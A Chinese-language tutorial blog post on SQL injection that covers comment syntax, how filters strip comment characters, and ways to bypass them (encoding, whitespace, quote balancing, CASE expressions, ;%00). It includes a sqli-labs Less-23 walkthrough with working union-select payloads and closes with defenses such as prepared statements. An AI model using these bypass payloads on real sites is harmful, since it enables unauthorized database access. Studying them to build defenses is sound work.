当前位置: 首页 > news >正文

SQL 注入攻防:绕过注释符过滤的N种方法

文章目录

  • 引言
  • 注释符是什么
  • 注释符在 SQL 注入中的使命
  • 开发者如何过滤注释符
  • 攻击者绕过注释符过滤的奇技淫巧
  • 实战演练
  • 防御之道:如何防止注入者绕过注释符

引言

想象一下,你是一名网站安全工程师,刚刚部署了最新的WAF规则,过滤了所有常见的 SQL 注入关键字和符号(如 , #)。你觉得高枕无忧了,但攻击者依然轻松拿到了数据库权限… 问题出在哪里

很多时候,我们低估了注释符在 SQL 注入中的重要性,以及攻击者在面对过滤时表现出来的“创造力”。本文将带你深入探讨,当注释符被过滤后,攻击者是如何巧妙绕过的

本文将介绍注释符的作用、常见的过滤方式,并重点详解多种绕过注释符过滤的技巧,最终给出真正有效的防御方案



注释符是什么


注释符是编程语言和SQL等查询语言中一种特殊的语法符号。它的核心使命是:告诉编译器或解释器,被它标记的文本内容不是需要执行的代码,而是给人看的说明、笔记或注解

你可以把它理解为代码世界里的 “便利贴”


核心作用与目的

相信学过编程语言的都不陌生

  1. 提高代码可读性
    在复杂的SQL查询中,开发者可以用注释来解释某段代码的用途、逻辑、作者或修改日期。这让其他阅读代码的人(或未来的自己)能更快地理解代码意图

  2. 调试和排除代码
    在测试或调试时,如果不想执行某段SQL代码,不需要直接删除它。只需用注释符将其“注释掉”,数据库就会忽略它。这可以方便后续需要时再恢复


SQL中常见的注释符类型

SQL主要支持两种注释方式:

  1. 单行注释 (Single-line Comments)

    • 注释掉从符号开始到行尾的所有内容

    • 两个连字符,一般用- -+表示,ps:- -中间没有空格,因为显示问题在此加个空格):这是最通用的标准SQL单行注释符。注意: 许多数据库(如Oracle, PostgreSQL, SQL Server)要求 后面必须跟一个空格或控制字符(如换行),否则可能无效或报错。正确写法是 – 注释内容
      在这里插入图片描述

    • #(井号):主要用于 MySQL 及其分支(如MariaDB),不是所有数据库都支持
      在这里插入图片描述

  2. 多行注释 (Block Comments)

    • 注释掉一个连续的代码块,可以跨越多行
    • / */:这是通用*的多行注释符,绝大多数数据库都支持。/* 表示注释开始,*/ 表示注释结束
      在这里插入图片描述


注释符在 SQL 注入中的使命

注释符在 SQL 注入攻击中扮演着“清道夫”和“魔术师”的角色,其使命是巧妙地操纵原始SQL查询的结构,使攻击者注入的恶意代码能够顺利执行,同时“处理”掉后续会引发语法错误的冗余部分

我们可以将它的使命分解为以下几个核心任务:


1. 主要使命:截断查询,消除语法错误
这是注释符最经典和最常见的用途。Web应用程序通常会拼接用户输入来构建SQL查询

拿 less - 1 举例
在这里插入图片描述

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这里 $id 是用户提交的输入

  • 攻击者的目标:绕过密码验证,以任何用户(例如管理员 admin)身份登录
  • 攻击输入
    • URl:?id=1’ --+

拼接后的最终查询变为:

$sql="SELECT * FROM users WHERE id='?id=1' --+' LIMIT 0,1";

现在,我们来看注释符 –+ 是如何完成它的使命的:

  1. 闭合引号:注入的 ?id=1’ --+ 中的单引号首先完成了字符串的闭合。原本的 ‘$id’ 变成了 ‘?id=1’ --+’
  2. 注释符生效–+ 是单行注释符,它会将其后的所有内容都标记为注释
  3. 清除冗余:于是,–+ 之后的所有字符 ’ LIMIT 0,1" 都被数据库引擎忽略不计

最终,数据库真正执行的查询只剩下:

SELECT * FROM users WHERE id='?id=1'

这条查询返回的回显就能让攻击者看出破绽

在这里,注释符的使命就是 “清理战场”,将原本会导致语法错误(因为多出了一部分字符串和关键字)的无效查询,变成了一个语法完全正确且符合攻击者意图的有效查询


2. 辅助使命:绕过过滤或特定场景

注释符还有其他巧妙的用途:

a. 内联注入(Inline Injection)
有时注入点不在语句末尾,而是在查询中间。注释符可以用来终止当前子句,然后开始一个新的、完全不同的语句

b. 绕过简单过滤(Less Common)
某些非常初级的防御手段可能会检查常见的关键字如 ANDORSELECT,但可能不会严格检查注释符。攻击者可以利用注释符拆分关键字来绕过(但这种绕过于时,现代WAF很难用这招绕过)



开发者如何过滤注释符

核心思想:开发者试图通过输入过滤黑名单机制,在用户输入拼接到SQL语句之前,移除或转义掉注释符,从而“净化”输入


  1. 直接字符串替换过滤
    防御思路:在最基础的层面,开发者会尝试直接移除或替换用户输入中的注释符
    例如:
    Less-23
    在这里插入图片描述

  2. 正则表达式黑名单过滤
    防御思路:使用更复杂的正则表达式来识别和移除注释模式

  3. 转义特殊字符
    防御思路:不直接移除注释符,而是转义引号,使注释符失去上下文



攻击者绕过注释符过滤的奇技淫巧

  1. 编码绕过技巧
  • 原理:应用程序的过滤逻辑可能只检查明文,未进行解码或多次解码

  • URL编码绕过
    技巧:使用URL编码表示注释符

在这里插入图片描述

  • 双重URL编码绕过
    技巧:对已经编码的内容再次编码
    在这里插入图片描述

  • Unicode/UTF-8编码绕过
    技巧:使用Unicode表示字符
    在这里插入图片描述

  1. 利用空白符与制表符
  • 原理:过滤逻辑可能是简单的字符串匹配 “–”,如果在中间插入空白符,可能无法匹配
    • Payload示例:

      • - - (中间有空格):admin’ OR 1=1- -+
      • %0A– (换行符后跟注释):…%0A-- …
      • 注意:需要测试数据库对空白符的解析特性。MySQL 通常允许注释符后跟空白符

  1. 不使用注释符的替代方案
  • 原理:最高明的绕过是根本不需要它。思考:为什么要用注释符?是为了处理查询的后半部分。那有没有不用注释符也能让后半部分失效的方法?

    • 精心构造Payload平衡引号

技巧:通过精心构造使整个查询语法正确,无需注释掉后续部分

示例Payload:

' or '1'='1' and '1'='1

拼接后:

SELECT * FROM users WHERE username = '' OR '1'='1' AND '1'='1' AND password = 'xxx'

由于AND优先级高于OR,实际等价于:

SELECT * FROM users WHERE (username = '') OR ('1'='1' AND '1'='1' AND password = 'xxx')
  • 使用CASE语句

技巧:使用CASE语句构造条件注入,无需注释符

示例Payload:

' OR CASE WHEN (SELECT COUNT(*) FROM users) > 0 THEN 1 ELSE 0 END = 1 AND '1'='1

  1. 利用过滤逻辑缺陷
  • 递归过滤绕过

技巧:如果过滤只执行一次,可以构造使过滤后产生新注释符的Payload

示例Payload:

admin'-- -

过滤–后变为:

admin' -

在某些上下文中,-可能被解释为负号或其它操作符,但仍可能造成注入


  • 上下文区分绕过

技巧:利用过滤系统无法区分代码上下文的特点

示例Payload:

admin' AND password = '' OR 1=1--

即使过滤了注释符,前面部分仍可能构成有效注入



实战演练

理论再多,不如实践一番
环境设置: 本示例为 sqli-labs 23
在这里插入图片描述

提交参数
在这里插入图片描述

?id=1

测试闭合方式,运气很好一下子就试出来了,通过输入 1’ 后出现报错,且报错信息中显示 ‘‘1’’ LIMIT 0,1’,可判断出注入点为单引号闭合
在这里插入图片描述

?id=1'

按正常逻辑来说应该添加注释符进一步验证,但这里却出现了报错
在这里插入图片描述

?id=1' --+

查看本题源码,发现过滤了注释符
在这里插入图片描述
这段代码的含义为:
通过移除 # 来阻止攻击者注释掉SQL查询的后续部分


所以通过构造Payload平衡引号即可绕过
在这里插入图片描述

?id=1' '

构建注入语句即可查询出库名
在这里插入图片描述

?id=-1' union select 1,database(),3 '

大家也可以试一下其他方法,例如:

通过 or ‘1’='1 绕过

在这里插入图片描述

?id=-1' union select 1,database(),3 or '1'='1

通过老版本的漏洞 ;%00 也行 (注:这不是通用方案,且在现代环境中大多已修复)

在这里插入图片描述

?id=-1' union select 1,database(),3 ;%00

我在测试发现 ;%00 也能绕过的时候感到非常新奇,没想到这么经典的绕过技巧在这里也能使用

;%00 成功绕过原理如下:
在这里插入图片描述

由于篇幅原因,后续的注入语句就不再展示了,不会的可以看:字符型注入


防御之道:如何防止注入者绕过注释符

通过绕过方法哪里也能看出问题所在

  • 不要试图单纯地黑名单过滤:本文展示的绕过技巧已经证明这是徒劳的

  • 终极解决方案

    1. 预编译语句(Prepared Statements)绝对首选。将SQL语句结构与数据完全分离,从根本上杜绝注入,注释符只会被当作数据内容,而非指令
    2. 使用严格的输入验证:对于类型确定的输入(如数字ID),强制转换为 int 型
    3. 使用权威的安全库:如 PHP 的 PDO、Java 的 MyBatis 等
    4. 最小权限原则:数据库账户不应有高权限,限制其只能访问必要的表和操作
http://www.dtcms.com/a/393571.html

相关文章:

  • 微软常用运行库
  • 在Kubernetes(k8s)环境中无法删除持久卷(PV)和持久卷声明(PVC)的解决方案
  • 【连载7】 C# MVC 跨框架异常处理对比:.NET Framework 与 .NET Core 实现差异
  • 芯脉:面向高速接口的SoC架构与完整性设计<3>
  • ArrayList与LinkedList深度对比
  • AI IDE 综合评估:代码能力与上下文连续性深度分析
  • OceanBase备租户创建(一):通过CREATE STANDBY TENANT
  • C++ 多态:从概念到实践,吃透面向对象核心特性
  • ​​如何用 Webpack 或 Vite 给文件名(如 JS、CSS、图片等静态资源)加 Hash?这样做有什么好处?​​
  • QT-数据库编程
  • FastAPI + APScheduler + Uvicorn 多进程下避免重复加载任务的解决方案
  • 数据库造神计划第十八天---事务(1)
  • Docker在Linux中离线部署
  • 面阵vs线阵工业相机的触发方式有什么不同?
  • 【Hadoop】HBase:构建于HDFS之上的分布式列式NoSQL数据库
  • 拉取GitHub源码方式
  • 【国二】【C语言】改错题中考察switch的用法、do while执行条件的用法
  • 23种设计模式之【命令模式模式】-核心原理与 Java 实践
  • APP持续盈利:简单可行实行方案
  • qt 操作pdf文档小工具
  • Web3 开发者周刊 68 | EF 将成立一个新的 AI 团队
  • [OpenGL]相机系统
  • 软件体系结构——负载均衡
  • Unity 游戏引擎中 HDRP(高清渲染管线) 的材质着色器选择列表
  • 系统架构设计师(现代计算机系统架构和软件开发)错题集
  • 七、Linux创建自己的proc文件
  • 理解CSS中的100%和100vh
  • [特殊字符] Chrome浏览器证书导入指南
  • 15-用户登录案例
  • Kurt-Blender零基础教程:第3章:材质篇——第1节:材质基础~原理化BSDF,添加有纹理材质与用蒙版做纹理叠加